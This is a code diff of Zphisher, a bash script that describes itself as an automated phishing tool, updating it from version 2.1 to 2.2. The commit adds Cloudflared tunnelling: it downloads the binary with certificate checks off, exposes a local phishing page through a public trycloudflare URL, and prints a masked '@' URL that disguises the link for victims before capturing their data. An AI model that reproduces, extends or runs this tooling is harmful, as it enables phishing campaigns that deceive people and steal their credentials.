22
33# # Zphisher : Automated Phishing Tool
44# # Author : TAHMID RAYAT
5- # # Version : 2.1
5+ # # Version : 2.2
66# # Github : https://github.com/htr-tech
77
88# # THANKS TO :
99# # Aditya Shakya - https://github.com/adi1090x
10+ # # 1RaY-1 - https://github.com/1RaY-1
1011# # Moises Tapia - https://github.com/MoisesTapia
1112# # TheLinuxChoice - https://twitter.com/linux_choice
1213# # DarksecDevelopers - https://github.com/DarksecDevelopers
@@ -110,6 +111,9 @@ if [[ -d ".server/www" ]]; then
110111else
111112 mkdir -p " .server/www"
112113fi
114+ if [[ -e " .cld.log" ]]; then
115+ rm -rf " .cld.log"
116+ fi
113117
114118# # Script termination
115119exit_on_signal_SIGINT () {
@@ -139,7 +143,10 @@ kill_pid() {
139143 fi
140144 if [[ ` pidof ngrok` ]]; then
141145 killall ngrok > /dev/null 2>&1
142- fi
146+ fi
147+ if [[ ` pidof cloudflared` ]]; then
148+ killall cloudflared > /dev/null 2>&1
149+ fi
143150}
144151
145152# # Banner
@@ -153,7 +160,7 @@ banner() {
153160 ${ORANGE} / /__| |_) | | | | \__ \ | | | __/ |
154161 ${ORANGE} /_____| .__/|_| |_|_|___/_| |_|\___|_|
155162 ${ORANGE} | |
156- ${ORANGE} |_| ${RED} Version : 2.1
163+ ${ORANGE} |_| ${RED} Version : 2.2
157164
158165 ${GREEN} [${WHITE} -${GREEN} ]${CYAN} Tool Created by htr-tech (tahmid.rayat)${WHITE}
159166 EOF
@@ -165,7 +172,7 @@ banner_small() {
165172 ${BLUE}
166173 ${BLUE} ░▀▀█░█▀█░█░█░▀█▀░█▀▀░█░█░█▀▀░█▀▄
167174 ${BLUE} ░▄▀░░█▀▀░█▀█░░█░░▀▀█░█▀█░█▀▀░█▀▄
168- ${BLUE} ░▀▀▀░▀░░░▀░▀░▀▀▀░▀▀▀░▀░▀░▀▀▀░▀░▀${WHITE} 2.1
175+ ${BLUE} ░▀▀▀░▀░░░▀░▀░▀▀▀░▀▀▀░▀░▀░▀▀▀░▀░▀${WHITE} 2.2
169176 EOF
170177}
171178
@@ -228,6 +235,23 @@ download_ngrok() {
228235 fi
229236}
230237
238+ # # Download Cloudflared
239+ download_cloudflared () {
240+ url=" $1 "
241+ file=` basename $url `
242+ if [[ -e " $file " ]]; then
243+ rm -rf " $file "
244+ fi
245+ wget --no-check-certificate " $url " > /dev/null 2>&1
246+ if [[ -e " $file " ]]; then
247+ mv -f " $file " .server/cloudflared > /dev/null 2>&1
248+ chmod +x .server/cloudflared > /dev/null 2>&1
249+ else
250+ echo -e " \n${RED} [${WHITE} !${RED} ]${RED} Error occured, Install Cloudflared manually."
251+ { reset_color; exit 1; }
252+ fi
253+ }
254+
231255# # Install ngrok
232256install_ngrok () {
233257 if [[ -e " .server/ngrok" ]]; then
@@ -249,6 +273,26 @@ install_ngrok() {
249273
250274}
251275
276+ # # Install Cloudflared
277+ install_cloudflared () {
278+ if [[ -e " .server/cloudflared" ]]; then
279+ echo -e " \n${GREEN} [${WHITE} +${GREEN} ]${GREEN} Cloudflared already installed."
280+ else
281+ echo -e " \n${GREEN} [${WHITE} +${GREEN} ]${CYAN} Installing Cloudflared..." ${WHITE}
282+ arch=` uname -m`
283+ case $arch in
284+ arm | Android)
285+ download_cloudflared ' https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm' ;;
286+ aarch64)
287+ download_cloudflared ' https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64' ;;
288+ x86_64)
289+ download_cloudflared ' https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64' ;;
290+ * )
291+ download_cloudflared ' https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386' ;;
292+ esac
293+ fi
294+ }
295+
252296# # Exit message
253297msg_exit () {
254298 { clear; banner; echo ; }
@@ -263,10 +307,10 @@ about() {
263307 ${GREEN} Author ${RED} : ${ORANGE} TAHMID RAYAT ${RED} [ ${ORANGE} HTR-TECH ${RED} ]
264308 ${GREEN} Github ${RED} : ${CYAN} https://github.com/htr-tech
265309 ${GREEN} Social ${RED} : ${CYAN} https://linktr.ee/tahmid.rayat
266- ${GREEN} Version ${RED} : ${ORANGE} 2.1
310+ ${GREEN} Version ${RED} : ${ORANGE} 2.2
267311
268312 ${REDBG}${WHITE} Thanks : Adi1090x,MoisesTapia,ThelinuxChoice
269- DarkSecDevelopers,Mustakim Ahmed ${RESETBG}
313+ DarkSecDevelopers,Mustakim Ahmed,1RaY-1 ${RESETBG}
270314
271315 ${RED} [${WHITE} 00${RED} ]${ORANGE} Main Menu ${RED} [${WHITE} 99${RED} ]${ORANGE} Exit
272316
@@ -358,6 +402,30 @@ start_ngrok() {
358402 capture_data
359403}
360404
405+
406+ # # DON'T COPY PASTE WITHOUT CREDIT DUDE :')
407+
408+ # # Start Cloudflared
409+ start_cloudflared () {
410+ echo -e " \n${RED} [${WHITE} -${RED} ]${GREEN} Initializing... ${GREEN} ( ${CYAN} http://$HOST :$PORT ${GREEN} )"
411+ { sleep 1; setup_site; }
412+ echo -ne " \n\n${RED} [${WHITE} -${RED} ]${GREEN} Launching Cloudflared..."
413+
414+ if [[ ` command -v termux-chroot` ]]; then
415+ sleep 2 && termux-chroot ./.server/cloudflared tunnel -url " $HOST " :" $PORT " --logfile .cld.log > /dev/null 2>&1 &
416+ else
417+ sleep 2 && ./.server/cloudflared tunnel -url " $HOST " :" $PORT " --logfile .cld.log > /dev/null 2>&1 &
418+ fi
419+
420+ { sleep 8; clear; banner_small; }
421+
422+ cldflr_link=$( grep -o ' https://[-0-9a-z]*\.trycloudflare.com' " .cld.log" )
423+ cldflr_link1=${cldflr_link# https:// }
424+ echo -e " \n${RED} [${WHITE} -${RED} ]${BLUE} URL 1 : ${GREEN} $cldflr_link "
425+ echo -e " \n${RED} [${WHITE} -${RED} ]${BLUE} URL 2 : ${GREEN} $mask @$cldflr_link1 "
426+ capture_data
427+ }
428+
361429# # Start localhost
362430start_localhost () {
363431 echo -e " \n${RED} [${WHITE} -${RED} ]${GREEN} Initializing... ${GREEN} ( ${CYAN} http://$HOST :$PORT ${GREEN} )"
@@ -372,8 +440,9 @@ tunnel_menu() {
372440 { clear; banner_small; }
373441 cat << - EOF
374442
375- ${RED} [${WHITE} 01${RED} ]${ORANGE} Localhost ${RED} [${CYAN} For Devs${RED} ]
376- ${RED} [${WHITE} 02${RED} ]${ORANGE} Ngrok.io ${RED} [${CYAN} Best${RED} ]
443+ ${RED} [${WHITE} 01${RED} ]${ORANGE} Localhost ${RED} [${CYAN} For Devs${RED} ]
444+ ${RED} [${WHITE} 02${RED} ]${ORANGE} Ngrok.io ${RED} [${CYAN} Buggy${RED} ]
445+ ${RED} [${WHITE} 03${RED} ]${ORANGE} Cloudflared ${RED} [${CYAN} NEW!${RED} ]
377446
378447 EOF
379448
@@ -384,6 +453,8 @@ tunnel_menu() {
384453 start_localhost;;
385454 2 | 02)
386455 start_ngrok;;
456+ 3 | 03)
457+ start_cloudflared;;
387458 * )
388459 echo -ne " \n${RED} [${WHITE} !${RED} ]${RED} Invalid Option, Try Again..."
389460 { sleep 1; tunnel_menu; };;
@@ -683,4 +754,5 @@ main_menu() {
683754kill_pid
684755dependencies
685756install_ngrok
757+ install_cloudflared
686758main_menu
0 commit comments